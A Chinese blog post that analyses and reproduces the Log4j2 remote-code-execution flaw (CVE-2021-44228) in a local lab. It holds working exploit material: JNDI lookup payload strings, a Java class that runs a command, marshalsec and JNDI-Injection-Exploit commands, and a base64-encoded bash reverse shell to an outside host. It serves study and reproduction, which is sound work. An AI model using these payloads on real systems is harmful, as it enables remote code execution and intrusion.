• CVE 202144228 Log4j2命令执行复现及分析


    12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228。虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 Log4j团队认为默认启用 JNDI 存在安全风险,且2.15.0版本存在CVE-2021-45046漏洞。

    12月13日:Apache Log4j2官方发布了Log4j 2.16.0版本(Java 8或更高版本),该版本删除了Message Lookups功能并默认禁用JNDI功能,并从该版本开始默认禁用JNDI功能,但可以通过将log4j2.enableJndi设置为 true 以启用 JNDI。此外,Log4j现在将协议默认限制为仅java、ldap和ldaps,并将ldap协议限制为只能访问Java原始对象。本地主机以外的主机需要被明确允许。

    12月15日:Apache Log4j2官方发布了Apache Log4j 2.12.2版本,该版本修复了CVE-2021-44228和CVE-2021-45046,适用于仍在使用Java 7的用户。

    漏洞描述

    Apache Log4j2是一个基于Java的日志记录框架。正常情况下,开发者可能会将错误信息写入日志中,可以利用此特点构造特殊的数据请求包,最终触发远程代码执行RCE漏洞。Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。

    受影响版本

    Apache Log4j 2.0-beta9 - 2.12.1 、Apache Log4j 2.13.0 - 2.15.0-rc1

    Java version already patched: 6u211+, 7u201+, 8u191+, 11.0.1+.

    注意:2.15.0-rc1 rc1被绕过是说漏洞点确实可以被绕过,但是rc1已经默认了log4j2.formatMsgNoLookups为true 只要不是手贱那也没啥问题

    原理分析

    该漏洞主要是由于日志在打印时当遇到“${”后,以“:”号作为分割,将表达式内容分割成两部分,前面一部分prefix,后面部分作为key,然后通过prefix去找对应的lookup,通过对应的lookup实例调用lookup方法,最后将key作为参数带入执行,引发远程代码执行漏洞。

    漏洞点

    LogManager.getLogger().error()
    LogManager.getLogger().fatal()
    

    如图如下协议方式都可以利用

    com.sun.jndi.rmi.object.trustURLCodebase  设为true 可以在高版本jdk触发漏洞。
    logger.info("${jndi:ldap://0c22zc.dnslog.cn}"); error级别的更容易触发,如果不打印info级别信息,则info级别不能触发漏洞。所以优先用error触发。
    

    影响应用

    可能的受影响应用包括但不限于如下:
    
    Spring-Boot-strater-log4j2
    
    Apache Struts2
    
    Apache Solr	左边第三个选项,rename
    
    Apache Flink
    
    Apache Druid 一个最上面的框,一个左边第三个选项中添加的框
    
    ElasticSearch
    
    flume
    
    dubbo
    
    Redis
    
    logstash
    
    kafka
    

    漏洞复现

    Idea搭建

    新建maven工程,pom.xml中引入log4j2依赖:

    <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-core</artifactId>
            <version>2.14.1</version>
        </dependency>
        <dependency>
            <groupId>org.apache.logging.log4j</groupId>
            <artifactId>log4j-api</artifactId>
            <version>2.14.1</version>
        </dependency>
    

    Payload.java 注意区分大小写

    import java.io.IOException;
    
    public class Payload {
        public Payload() {
            //直接在构造方法中运行计算器
            try {
                Runtime.getRuntime().exec("calc");
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
    }
    

    该exp用于弹出计算器,验证命令执行效果。

    test.java

    import  org.apache.logging.log4j.LogManager;
    import  org.apache.logging.log4j.Logger;
    
    
    public class test {
        public static final Logger logger = LogManager.getLogger(test.class);
        public static void main(String[] args){
            logger.error("${jndi:ldap://192.168.50.213:9998/Payload}");注意区分大小写
        }
    
    }
    

    手动将exp.java生成字节码文件,并通过python搭建简易web用于外部访问:

    再开一个恶意的ldap服务:

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.50.213:9999/#Payload" 9998  
    注意区分大小写
    

    运行test.java,可以看到ldap服务和web服务都有访问记录:

    并且有计算器弹出来,命令执行成功:

    并产生了一条错误日志

    docker复现
    docker pull registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
    docker run -it -d -p 8888:8080 --name log4j_vuln_container registry.cn-hangzhou.aliyuncs.com/fengxuan/log4j_vuln
    docker exec -it log4j_vuln_container /bin/bash
    /bin/bash/home/apache-tomcat-8.5.45/bin/startup.sh
    

    执行完以上操作,可以访问存在Apache Log4j远程代码执行漏洞,这里192.168.32.168的ip地址是我安装了docker虚拟机的ip地址,url如下:

    http://192.168.32.168:8888/webstudy/hello-fengxuan
    

    由于该漏洞是jndi加载ldap协议就可以触发漏洞,使用
    JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar进行ldap协议监听,并提前输入好需要执行的命令,命令如下:

    java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch/tmp/88888888888" -A 192.168.32.1
    -C后面添加的是需要执行的命令
    -A后面是监听的IP地址
    

    只要根据JDK的版本,提交不同的ldap
    如果JDK 是1.7,可以使用

    ldap://192.168.32.1:1389/sjrchi 这个链接是根据自己上面起的ldap服务生成的链接
    

    如果JDK 是1.8,可以使用

    ldap://192.168.32.1:1389/fojm7q 这个链接是根据自己上面起的ldap服务生成的链接
    

    通过BurpSuite提交数据包,由于url只接受需POST数据,受影响的参数是c,在验证的时候,一定要加入

    Content-Type:application/x-www-form-urlencoded;

    已经接收到ldap协议数据

    如果Apache Log4j远程代码执行漏洞成功,就会执行命令touch /tmp/88888888888,在tmp目录下建一个88888888888文件

    进入docker环境漏洞靶场,查看命令是否执行成功,文件成功被创建

    docker exec -it log4j_vuln_container /bin/bash
    ls /tmp
    

    通过修改-C里面的命令内容,获取shell

    对bash -i >& /dev/tcp/192.168.32.1/220>&1命令进行加密处理

    java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMyLjEvMjIgMD4mMQ==}|{base64,-d}|{bash,-i}"-A 192.168.32.1
    

    成功获取shell。

  • 相关阅读:
    ERROR com.opensymphony.xwork2.interceptor.ParametersInterceptor
    vscode中使用node服务调试,会在promise的reject出现断点报错
    koa-router匹配多个路由添加中间件函数
    react-router中的路由钩子使用
    在less中不能正常使用css3的calc属性的解决方法
    react-redux安装失败的问题
    npm脚本命令npm run script的使用
    npx的使用和理解
    babel的命令行工具babel-cli解析
    babel的.babelrc解析
  • 原文地址:https://www.cnblogs.com/forforever/p/15703000.html
Copyright © 2020-2023  润新知